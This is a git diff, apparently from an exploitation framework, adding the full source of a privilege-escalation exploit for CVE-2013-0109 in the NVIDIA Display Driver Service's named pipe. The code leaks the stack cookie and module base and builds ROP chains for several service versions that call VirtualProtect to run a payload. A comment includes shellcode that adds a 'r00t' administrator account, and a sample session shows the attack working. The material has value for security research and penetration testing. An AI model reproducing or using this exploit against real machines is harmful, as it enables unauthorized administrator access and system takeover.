- pRopChain[0] = uiBase + 0x19e6e; // nvvsvc.exe+0x19e6e: mov rax, r11; retn
- pRopChain[1] = uiBase + 0xa6d64; // nvvsvc.exe+0xa6d64: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
- pRopChain[2] = 0; // Padding
- pRopChain[3] = 0; // ...
- pRopChain[4] = 0; // ...
- pRopChain[5] = 0; // ...
- pRopChain[6] = 0; // ...
- pRopChain[7] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn
- pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
- pRopChain[9] = uiBase + 0xa8653; // nvvsvc.exe+0xa8653: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn
- pRopChain[10] = 0; // Padding
- pRopChain[11] = 0; // ...
- pRopChain[12] = 0; // ...
- pRopChain[13] = 0; // ...
- pRopChain[14] = 0; // ...
- pRopChain[15] = uiBase + 0x7772; // nvvsvc.exe+0x7772: pop r8; retn
- pRopChain[16] = 0x40; // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
- pRopChain[17] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn
- // Param 4: lpflOldProtect [r9 - already points at writable location]
- pRopChain[18] = uiBase + 0xfe5e0; // nvvsvc.exe+0xfe5e0: IAT entry &VirtualProtect
- pRopChain[19] = uiBase + 0x5d60; // nvvsvc.exe+0x5d60: mov rax, [rax]; retn
- pRopChain[20] = uiBase + 0x91a85; // nvvsvc.exe+0x91a85: jmp rax
- pRopChain[21] = uiBase + 0xe6251; // nvvsvc.exe+0xe6251: jmp rsp (return address from VirtualProtect)
-
- memcpy(pRopChain + 22, code, sizeof(code));
- }
- break;
- case 0x9f1: // nvvsvc.exe - 30 Aug 2012 - 891,240 bytes - md5=43f91595049de14c4b61d1e76436164f
- {
- uiBase = uiRetnAddress - 0x39f1;
- printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
-
- pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));
-
- // Param 1: lpAddress [r11 (near rsp) into rcx]
- pRopChain[0] = uiBase + 0x15d36; // nvvsvc.exe+0x15d36: mov rax, r11; retn
- pRopChain[1] = uiBase + 0x5493c; // nvvsvc.exe+0x5493c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
- pRopChain[2] = 0; // Padding ...
- pRopChain[3] = 0; // ...
- pRopChain[4] = 0; // ...
- pRopChain[5] = 0; // ...
- pRopChain[6] = 0; // ...
- pRopChain[7] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn
- pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
- pRopChain[9] = uiBase + 0x55dbf; // nvvsvc.exe+0x55dbf: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn
- pRopChain[10] = 0; // Padding ...
- pRopChain[11] = 0; // ...
- pRopChain[12] = 0; // ...
- pRopChain[13] = 0; // ...
- pRopChain[14] = 0; // ...
- // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
- pRopChain[15] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn
- pRopChain[16] = 0x40; // PAGE_EXECUTE_READWRITE
- pRopChain[17] = uiBase + 0x8b92; // nvvsvc.exe+0x55dbf: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn
- pRopChain[18] = 0; // Padding ...
- pRopChain[19] = 0; // ...
- pRopChain[20] = 0; // ...
- pRopChain[21] = 0; // ...
- pRopChain[22] = 0; // ...
- // Param 4: lpflOldProtect [r9 - already points at writable location]
- pRopChain[23] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn
- pRopChain[24] = uiBase + 0x91308; // IAT entry &VirtualProtect - 0x130
- pRopChain[25] = uiBase + 0x82989; // nvvsvc.exe+0x82989: mov rax, [rax+130h]; add rsp, 28h; retn
- pRopChain[26] = 0; // Padding ...
- pRopChain[27] = 0; // ...
- pRopChain[28] = 0; // ...
- pRopChain[29] = 0; // ...
- pRopChain[30] = 0; // ...
- pRopChain[31] = uiBase + 0x44ba6; // nvvsvc.exe+0x44ba6: jmp eax
- pRopChain[32] = uiBase + 0x77c59; // nvvsvc.exe+0x77c59: jmp esp
-
- memcpy(pRopChain + 33, code, sizeof(code));
- }
- break;
- case 0xa11: // nvvsvc.exe - 01 Dec 2012 - 890,216 md5=3341d2c91989bc87c3c0baa97c27253b
- {
- uiBase = uiRetnAddress - 0x3a11;
- printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
-
- pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));
-
- // Param 1: lpAddress [r11 (near rsp) into rcx]
- pRopChain[0] = uiBase + 0x15b52; // nvvsvc.exe+0x15b52: mov rax, r11; retn
- pRopChain[1] = uiBase + 0x54d4c; // nvvsvc.exe+0x54d4c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
- pRopChain[2] = 0; // Padding ...
- pRopChain[3] = 0; // ...
- pRopChain[4] = 0; // ...
- pRopChain[5] = 0; // ...
- pRopChain[6] = 0; // ...
- pRopChain[7] = uiBase + 0x8d7aa; // nvvsvc.exe+0x8d7aa: pop rdx; add al, 0; pop rbp; retn
- pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
- pRopChain[9] = 0; // Padding ...
- // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
- pRopChain[10] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn
- pRopChain[11] = 0x40; // PAGE_EXECUTE_READWRITE
- pRopChain[12] = uiBase + 0x8d26; // nvvsvc.exe+0x8d26: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn
- pRopChain[13] = 0; // Padding ...
- pRopChain[14] = 0; // ...
- pRopChain[15] = 0; // ...
- pRopChain[16] = 0; // ...
- pRopChain[17] = 0; // ...
- // Param 4: lpflOldProtect [r9 - already points at writable location]
- pRopChain[18] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn
- pRopChain[19] = uiBase + 0x91310; // IAT entry &VirtualProtect - 0x128
- pRopChain[20] = uiBase + 0x82851; // nvvsvc.exe+0x82851: mov rax, [rax+128h]; add rsp, 28h; retn
- pRopChain[21] = 0; // Padding ...
- pRopChain[22] = 0; // ...
- pRopChain[23] = 0; // ...
- pRopChain[24] = 0; // ...
- pRopChain[25] = 0; // ...
- pRopChain[26] = uiBase + 0x44fb6; // nvvsvc.exe+0x44fb6: jmp rax
- pRopChain[27] = uiBase + 0x8a0dc; // nvvsvc.exe+0x8a0dc: push rsp; retn
-
- memcpy(pRopChain + 28, code, sizeof(code));
- }
- break;
- }
-
- break;
- }
-
- i++;
- }
-
- dwReturnCode = 0;
-Cleanup:
- if(hPipe)
- CloseHandle(hPipe);
-
- return dwReturnCode;
-}
\ No newline at end of file
diff --git a/external/source/exploits/cve-2013-0109/nvidia_nvsvc.sln b/external/source/exploits/cve-2013-0109/nvidia_nvsvc.sln
new file mode 100755
index 0000000000..9a52c16683
--- /dev/null
+++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc.sln
@@ -0,0 +1,22 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 2013
+VisualStudioVersion = 12.0.21005.1
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "nvidia_nvsvc", "nvidia_nvsvc\nvidia_nvsvc.vcxproj", "{6B3FF768-1F25-49C1-8827-EDEC84D4749F}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Win32 = Debug|Win32
+ Release|Win32 = Release|Win32
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {6B3FF768-1F25-49C1-8827-EDEC84D4749F}.Debug|Win32.ActiveCfg = Debug|Win32
+ {6B3FF768-1F25-49C1-8827-EDEC84D4749F}.Debug|Win32.Build.0 = Debug|Win32
+ {6B3FF768-1F25-49C1-8827-EDEC84D4749F}.Release|Win32.ActiveCfg = Release|Win32
+ {6B3FF768-1F25-49C1-8827-EDEC84D4749F}.Release|Win32.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+EndGlobal
diff --git a/external/source/exploits/cve-2013-0109/nvidia_nvsvc/dllmain.c b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/dllmain.c
new file mode 100755
index 0000000000..c75822e96b
--- /dev/null
+++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/dllmain.c
@@ -0,0 +1,33 @@
+//===============================================================================================//
+// This is a stub for the actual functionality of the DLL.
+//===============================================================================================//
+
+#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
+#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
+#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
+
+#include "nvidia_nvsvc.h"
+
+BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
+{
+ BOOL bReturnValue = TRUE;
+ switch (dwReason)
+ {
+ case DLL_QUERY_HMODULE:
+ hAppInstance = hinstDLL;
+ if (lpReserved != NULL)
+ {
+ *(HMODULE *)lpReserved = hAppInstance;
+ }
+ break;
+ case DLL_PROCESS_ATTACH:
+ hAppInstance = hinstDLL;
+ elevate_nvidia_nvsvc(lpReserved);
+ break;
+ case DLL_PROCESS_DETACH:
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ break;
+ }
+ return bReturnValue;
+}
\ No newline at end of file
diff --git a/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.cpp b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.cpp
new file mode 100755
index 0000000000..167834047c
--- /dev/null
+++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.cpp
@@ -0,0 +1,546 @@
+/*
+NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012
+- Bypass DEP + ASLR + /GS + CoE
+=============================================================
+(@peterwintrsmith)
+
+ ** Initial release 25/12/12
+ ** Update 25/12/12 - Target for 30 Aug 2012 nvvsvc.exe Build - thanks
+ @seanderegge!
+
+Hey all!
+
+Here is an interesting exploit for a stack buffer overflow in the NVidia
+Display Driver Service. The service listens on a named pipe (\pipe\nsvr)
+which has a NULL DACL configured, which should mean that any logged on user
+or remote user in a domain context (Windows firewall/file sharing
+permitting) should be able to exploit this vulnerability.
+
+The buffer overflow occurs as a result of a bad memmove operation, with the
+stack layout effectively looking like this:
+
+[locals]
+[received-data]
+[response-buf]
+[stack cookie]
+[return address]
+[arg space]
+[etc]
+
+The memmove copies data from the received-data buffer into the response-buf
+buffer, unchecked. It is possible to control the offset from which the copy
+starts in the received-data buffer by embedding a variable length string -
+which forms part of the protocol message being crafted - as well as the
+number of bytes copied into the response buffer.
+
+The amount of data sent back over the named pipe is related to the number
+of bytes copied rather than the maximum number of bytes that the buffer is
+able to safely contain, so it is possible to leak stack data by copying
+from the end of the received-data buffer, through the response-buf buffer
+(which is zeroed first time round, and second time round contains whatever
+was in it beforehand), right to the end of the stack frame (including stack
+cookie and return address).
+
+As the entire block of data copied is sent back, the stack cookie and
+nvvsvc.exe base can be determined using the aforementioned process. The
+stack is then trashed, but the function servicing pipe messages won't
+return until the final message has been received, so it doesn't matter too
+much.
+
+It is then possible to exploit the bug by sending two further packets of
+data: One containing the leaked stack cookie and a ROP chain dynamically
+generated using offsets from the leaked nvvsvc.exe base (which simply fills
+the response-buf buffer when this data is echoed back) and a second packet
+which contains enough data to trigger an overwrite if data is copied from
+the start of the received-data buffer into the response-buf (including the
+data we primed the latter to contain - stack cookie and ROP chain).
+
+Allowing the function to then return leads to execution of our ROP chain,
+and our strategically placed Metasploit net user /add shellcode! We get
+continuation of execution for free because the process spins up a thread
+to handle each new connection, and there are no deadlocks etc.
+
+I've included two ROP chains, one which works against the nvvsvc.exe
+running by default on my Win7/x64 Dell XPS 15/ NVidia GT540M with drivers
+from the Dell site, and one which works against the latest version of the
+drivers for the same card, from:
+http://www.geforce.co.uk/hardware/desktop-gpus/geforce-gt-540m
+http://www.geforce.co.uk/drivers/results/54709
+
+Hope you find this interesting - it's a fun bug to play with!
+
+- Sample Session -
+
+
+C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
+Alias name administrators
+Comment Administrators have complete and unrestricted access to the computer/domain
+
+Members
+
+-------------------------------------------------------------------------------
+Administrator
+Peter
+The command completed successfully.
+
+
+C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1
+ ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
+ [@peterwintrsmith]
+ - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -
+
+ Action 1 of 9: - CONNECT
+
+ Action 2 of 9: - CLIENT => SERVER
+ Written 16416 (0x4020) characters to pipe
+
+ Action 3 of 9: - SERVER => CLIENT
+ Read 16504 (0x4078) characters from pipe
+
+ Action 4 of 9: Building exploit ...
+ => Stack cookie 0xe2e2893340d4:
+ => nvvsvc.exe base 0x13fb90000:
+
+ Action 5 of 9: - CLIENT => SERVER
+ Written 16416 (0x4020) characters to pipe
+
+ Action 6 of 9: - SERVER => CLIENT
+ Read 16384 (0x4000) characters from pipe
+
+ Action 7 of 9: - CLIENT => SERVER
+ Written 16416 (0x4020) characters to pipe
+
+ Action 8 of 9: - SERVER => CLIENT
+ Read 16896 (0x4200) characters from pipe
+
+ Action 9 of 9: - DISCONNECT
+
+C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
+Alias name administrators
+Comment Administrators have complete and unrestricted access to the computer/domain
+
+Members
+
+-------------------------------------------------------------------------------
+Administrator
+Peter
+r00t
+The command completed successfully.
+
+
+C:\Users\Peter\Desktop\NVDelMe1>
+
+*/
+
+#include
+#include
+extern "C" {
+#include "nvidia_nvsvc.h"
+}
+
+enum EProtocolAction
+{
+ ProtocolAction_Connect = 0,
+ ProtocolAction_Receive,
+ ProtocolAction_Send,
+ ProtocolAction_Disconnect,
+ ProtocolAction_ReadCookie,
+};
+
+typedef struct
+{
+ EProtocolAction Action;
+ PBYTE Buf;
+ DWORD Length;
+} ProtocolMessage;
+
+const int GENERIC_BUF_LENGTH = 0x10000;
+
+#define WriteByte(val) {buf[offs] = val; offs += 1;}
+#define WriteWord(val) {*(WORD *)(buf + offs) = val; offs += 2;}
+#define WriteDword(val) {*(DWORD *)(buf + offs) = val; offs += 4;}
+#define WriteBytes(val, len) {memcpy(buf + offs, val, len); offs += len;}
+#define BufRemaining() (sizeof(buf) - offs)
+
+DWORD WritePipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer)
+{
+ DWORD dwWritten = 0;
+
+ if (WriteFile(hPipe, pBuffer, cbBuffer, &dwWritten, NULL))
+ {
+ return dwWritten;
+ }
+
+ return 0;
+}
+
+DWORD ReadPipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer, BOOL bTimeout = FALSE)
+{
+ DWORD dwRead = 0, dwAvailable = 0;
+
+ if (bTimeout)
+ {
+ for (DWORD i = 0; i < 30; i++)
+ {
+ if (!PeekNamedPipe(hPipe, NULL, NULL, NULL, &dwAvailable, NULL))
+ {
+ goto Cleanup;
+ }
+
+ if (dwAvailable)
+ {
+ break;
+ }
+
+ Sleep(100);
+ }
+
+ if (!dwAvailable)
+ {
+ goto Cleanup;
+ }
+ }
+
+ if (!ReadFile(hPipe, pBuffer, cbBuffer, &dwRead, NULL))
+ {
+ goto Cleanup;
+ }
+
+Cleanup:
+ return dwRead;
+}
+
+HANDLE EstablishPipeConnection(char *pszPipe)
+{
+ HANDLE hPipe = CreateFileA(
+ pszPipe,
+ GENERIC_READ | GENERIC_WRITE,
+ 0,
+ NULL,
+ OPEN_EXISTING,
+ 0,
+ NULL
+ );
+
+ if (hPipe == INVALID_HANDLE_VALUE)
+ {
+ return NULL;
+ }
+
+ return hPipe;
+}
+
+BYTE *BuildMalicious_LeakStack()
+{
+ static BYTE buf[0x4020] = {0};
+ UINT offs = 0;
+
+ WriteWord(0x52);
+
+ for(UINT i=0; i<0x2000; i++)
+ WriteWord(0x41);
+
+ WriteWord(0);
+
+ WriteDword(0);
+ WriteDword(0x4078);
+
+ WriteDword(0x41414141);
+ WriteDword(0x41414141);
+ WriteDword(0x41414141);
+ WriteDword(0x41414141);
+ WriteDword(0x41414141);
+
+ return buf;
+}
+
+BYTE *BuildMalicious_FillBuf()
+{
+ static BYTE buf[0x4020] = {0};
+ UINT offs = 0;
+
+ WriteWord(0x52);
+ WriteWord(0); // string
+
+ WriteDword(0);
+ WriteDword(0x4000);
+
+ while(BufRemaining())
+ WriteDword(0x43434343);
+
+ return buf;
+}
+
+BYTE *BuildMalicious_OverwriteStack()
+{
+ static BYTE buf[0x4020] = { 0 };
+ UINT offs = 0;
+
+ WriteWord(0x52);
+ WriteWord(0); // string
+
+ WriteDword(0);
+ WriteDword(0x4340); // enough to copy shellcode too
+
+ while (BufRemaining())
+ {
+ WriteDword(0x42424242);
+ }
+
+ return buf;
+}
+
+/*!
+ * @brief Entry point for the exploit code.
+ * @param payload Pointer to the payload memory, which must be NULL terminated.
+ */
+VOID elevate_nvidia_nvsvc(LPVOID payload)
+{
+ SIZE_T payloadLen = strlen(payload) + 1;
+ DWORD dwReturnCode = 1, dwBytesInOut = 0;
+ HANDLE hPipe = NULL;
+
+ static BYTE rgReadBuf[GENERIC_BUF_LENGTH] = { 0 };
+
+ memset(rgReadBuf, 0, sizeof(rgReadBuf));
+
+ ProtocolMessage rgConvoMsg[] =
+ {
+ { ProtocolAction_Connect, NULL, 0 },
+ { ProtocolAction_Send, BuildMalicious_LeakStack(), 0x4020 },
+ { ProtocolAction_Receive, { 0 }, 0x4200 },
+ { ProtocolAction_ReadCookie, { 0 }, 0 },
+ { ProtocolAction_Send, BuildMalicious_FillBuf(), 0x4020 },
+ { ProtocolAction_Receive, { 0 }, 0x4000 },
+ { ProtocolAction_Send, BuildMalicious_OverwriteStack(), 0x4020 },
+ { ProtocolAction_Receive, { 0 }, 0x4200 },
+ { ProtocolAction_Disconnect, NULL, 0 },
+ };
+
+ DWORD dwNumberOfMessages = sizeof(rgConvoMsg) / sizeof(ProtocolMessage), i = 0;
+ BOOL bTryAgain = FALSE;
+ char szPipe[256] = "\\\\.\\pipe\\nvsr";
+
+ // We could renable remote hosts to target other devices on network?!
+ // sprintf(szPipe, "\\\\%s\\pipe\\nvsr", argv[1]);
+
+ while (i < dwNumberOfMessages)
+ {
+ printf("\n\tAction %u of %u: ", i + 1, dwNumberOfMessages);
+
+ switch (rgConvoMsg[i].Action)
+ {
+ case ProtocolAction_Connect:
+ printf(" - CONNECT\n");
+
+ hPipe = EstablishPipeConnection(szPipe);
+ if (!hPipe)
+ {
+ printf("!! Unable to create named pipe (GetLastError() = %u [0x%x])\n", GetLastError(), GetLastError());
+ goto Cleanup;
+ }
+
+ break;
+ case ProtocolAction_Disconnect:
+ printf(" - DISCONNECT\n");
+
+ CloseHandle(hPipe);
+ hPipe = NULL;
+
+ break;
+ case ProtocolAction_Send:
+ printf(" - CLIENT => SERVER\n");
+
+ if (!(dwBytesInOut = WritePipe(hPipe, rgConvoMsg[i].Buf, rgConvoMsg[i].Length)))
+ {
+ printf("!! Error writing to pipe\n");
+ goto Cleanup;
+ }
+
+ printf("\t\tWritten %u (0x%x) characters to pipe\n", dwBytesInOut, dwBytesInOut);
+
+ break;
+ case ProtocolAction_Receive:
+ printf("\t - SERVER => CLIENT\n");
+
+ if (!(dwBytesInOut = ReadPipe(hPipe, rgReadBuf, rgConvoMsg[i].Length, FALSE)))
+ {
+ printf("!! Error reading from pipe (at least, no data on pipe)\n");
+ goto Cleanup;
+ }
+
+ printf("\t\tRead %u (0x%x) characters from pipe\n", dwBytesInOut, dwBytesInOut);
+
+ break;
+ case ProtocolAction_ReadCookie:
+
+ // x64 Metasploit cmd/exec:
+ // "net user r00t r00t00r! /add & net localgroup administrators /add"
+ // exitfunc=thread
+ /*char code[] = ""
+ "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
+ "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
+ "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
+ "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
+ "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
+ "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
+ "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
+ "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
+ "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
+ "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
+ "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
+ "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
+ "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
+ "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
+ "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
+ "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
+ "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
+ "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
+ "\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x72\x30"
+ "\x30\x74\x20\x72\x30\x30\x74\x30\x30\x72\x21\x20\x2f\x61\x64"
+ "\x64\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72"
+ "\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74"
+ "\x6f\x72\x73\x20\x72\x30\x30\x74\x20\x2f\x61\x64\x64\x00";*/
+ printf("Building exploit ...\n");
+ unsigned __int64 uiStackCookie = *(unsigned __int64 *)(rgReadBuf + 0x4034);
+ printf("\t\t => Stack cookie 0&x:\n", (DWORD)(uiStackCookie >> 32), (DWORD)uiStackCookie);
+
+ memcpy(rgConvoMsg[4].Buf + 0xc + 0xc, &uiStackCookie, 8);
+
+ unsigned __int64 uiRetnAddress = *(unsigned __int64 *)(rgReadBuf + 0x4034 + 8), uiBase = 0, *pRopChain = NULL;
+
+ // Perform some limited fingerprinting (my default install version, vs latest at time of testing)
+ switch (uiRetnAddress & 0xfff)
+ {
+ case 0x640: // nvvsvc.exe - 03 Nov 2011 - 1,640,768 bytes - md5=3947ad5d03e6abcce037801162fdb90d
+ uiBase = uiRetnAddress - 0x4640;
+ printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
+
+ pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7 * 8));
+
+ // Param 1: lpAddress [r11 (near rsp) into rcx]
+ pRopChain[0] = uiBase + 0x19e6e; // nvvsvc.exe+0x19e6e: mov rax, r11; retn
+ pRopChain[1] = uiBase + 0xa6d64; // nvvsvc.exe+0xa6d64: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
+ pRopChain[2] = 0; // Padding
+ pRopChain[3] = 0; // ...
+ pRopChain[4] = 0; // ...
+ pRopChain[5] = 0; // ...
+ pRopChain[6] = 0; // ...
+ pRopChain[7] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn
+ pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
+ pRopChain[9] = uiBase + 0xa8653; // nvvsvc.exe+0xa8653: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn
+ pRopChain[10] = 0; // Padding
+ pRopChain[11] = 0; // ...
+ pRopChain[12] = 0; // ...
+ pRopChain[13] = 0; // ...
+ pRopChain[14] = 0; // ...
+ pRopChain[15] = uiBase + 0x7772; // nvvsvc.exe+0x7772: pop r8; retn
+ pRopChain[16] = 0x40; // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
+ pRopChain[17] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn
+ // Param 4: lpflOldProtect [r9 - already points at writable location]
+ pRopChain[18] = uiBase + 0xfe5e0; // nvvsvc.exe+0xfe5e0: IAT entry &VirtualProtect
+ pRopChain[19] = uiBase + 0x5d60; // nvvsvc.exe+0x5d60: mov rax, [rax]; retn
+ pRopChain[20] = uiBase + 0x91a85; // nvvsvc.exe+0x91a85: jmp rax
+ pRopChain[21] = uiBase + 0xe6251; // nvvsvc.exe+0xe6251: jmp rsp (return address from VirtualProtect)
+
+ memcpy(pRopChain + 22, payload, payloadLen);
+ break;
+ case 0x9f1: // nvvsvc.exe - 30 Aug 2012 - 891,240 bytes - md5=43f91595049de14c4b61d1e76436164f
+ uiBase = uiRetnAddress - 0x39f1;
+ printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
+
+ pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7 * 8));
+
+ // Param 1: lpAddress [r11 (near rsp) into rcx]
+ pRopChain[0] = uiBase + 0x15d36; // nvvsvc.exe+0x15d36: mov rax, r11; retn
+ pRopChain[1] = uiBase + 0x5493c; // nvvsvc.exe+0x5493c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
+ pRopChain[2] = 0; // Padding ...
+ pRopChain[3] = 0; // ...
+ pRopChain[4] = 0; // ...
+ pRopChain[5] = 0; // ...
+ pRopChain[6] = 0; // ...
+ pRopChain[7] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn
+ pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
+ pRopChain[9] = uiBase + 0x55dbf; // nvvsvc.exe+0x55dbf: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn
+ pRopChain[10] = 0; // Padding ...
+ pRopChain[11] = 0; // ...
+ pRopChain[12] = 0; // ...
+ pRopChain[13] = 0; // ...
+ pRopChain[14] = 0; // ...
+ // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
+ pRopChain[15] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn
+ pRopChain[16] = 0x40; // PAGE_EXECUTE_READWRITE
+ pRopChain[17] = uiBase + 0x8b92; // nvvsvc.exe+0x55dbf: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn
+ pRopChain[18] = 0; // Padding ...
+ pRopChain[19] = 0; // ...
+ pRopChain[20] = 0; // ...
+ pRopChain[21] = 0; // ...
+ pRopChain[22] = 0; // ...
+ // Param 4: lpflOldProtect [r9 - already points at writable location]
+ pRopChain[23] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn
+ pRopChain[24] = uiBase + 0x91308; // IAT entry &VirtualProtect - 0x130
+ pRopChain[25] = uiBase + 0x82989; // nvvsvc.exe+0x82989: mov rax, [rax+130h]; add rsp, 28h; retn
+ pRopChain[26] = 0; // Padding ...
+ pRopChain[27] = 0; // ...
+ pRopChain[28] = 0; // ...
+ pRopChain[29] = 0; // ...
+ pRopChain[30] = 0; // ...
+ pRopChain[31] = uiBase + 0x44ba6; // nvvsvc.exe+0x44ba6: jmp eax
+ pRopChain[32] = uiBase + 0x77c59; // nvvsvc.exe+0x77c59: jmp esp
+
+ memcpy(pRopChain + 33, payload, payloadLen);
+ break;
+ case 0xa11: // nvvsvc.exe - 01 Dec 2012 - 890,216 md5=3341d2c91989bc87c3c0baa97c27253b
+ uiBase = uiRetnAddress - 0x3a11;
+ printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
+
+ pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7 * 8));
+
+ // Param 1: lpAddress [r11 (near rsp) into rcx]
+ pRopChain[0] = uiBase + 0x15b52; // nvvsvc.exe+0x15b52: mov rax, r11; retn
+ pRopChain[1] = uiBase + 0x54d4c; // nvvsvc.exe+0x54d4c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
+ pRopChain[2] = 0; // Padding ...
+ pRopChain[3] = 0; // ...
+ pRopChain[4] = 0; // ...
+ pRopChain[5] = 0; // ...
+ pRopChain[6] = 0; // ...
+ pRopChain[7] = uiBase + 0x8d7aa; // nvvsvc.exe+0x8d7aa: pop rdx; add al, 0; pop rbp; retn
+ pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
+ pRopChain[9] = 0; // Padding ...
+ // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
